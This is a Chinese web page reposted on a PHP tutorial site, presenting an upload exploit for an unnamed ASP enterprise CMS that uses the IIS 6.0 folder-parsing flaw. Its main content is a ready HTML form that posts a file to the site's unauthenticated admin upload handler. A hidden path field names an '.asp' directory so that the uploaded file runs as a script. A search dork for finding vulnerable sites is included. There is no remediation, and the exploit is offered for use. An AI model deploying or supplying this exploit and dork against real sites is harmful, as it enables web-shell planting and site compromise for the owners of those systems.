网站地图    收藏   

主页 > 后端 > 网站安全 >

某公司网站鸡肋上传漏洞(IIS6.0解析漏洞) - 网

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] from www.0855.tvby Mr.DzY一个很漂亮的asp版企业系统,作者未知,名称未知,版权未知废话也懒得说,上exp。测试示例:title上传EXP by Mr.DzY/titlecenterform action= method=post enctype......

 

from www.0855.tv

by Mr.DzY

 

一个很漂亮的asp版企业系统,作者未知,名称未知,版权未知……

废话也懒得说,上exp。

 

测试示例:

<title>上传EXP by Mr.DzY</title>

<center>

<form action="" method=post enctype="multipart/form-data">

<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="50">

网址:<input type=text name=url value="http://www.2cto.com/" size=62><br><br> 

<td><input name="file" type="file" size="45" onChange="showpic(this.value)"><input type="hidden" name="filepath" value="../Mr.DzY.asp/"><input name="hdnISSPic" type="hidden" id="hdnISSPic" value=""></td><br><br>

<input type=button value=大牛啊,点我上传吧onclick=fsubmit()>

</form><br>

 

<script>

function fsubmit(){

form = document.forms[0];

form.action = form.url.value+'/admin/admin_saveupfile.asp';

form.submit();

}

</script>

 

keyword:

inurl:ShowProduct.asp?id= 请在这里输入产品的详细说明(可插入图片)

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论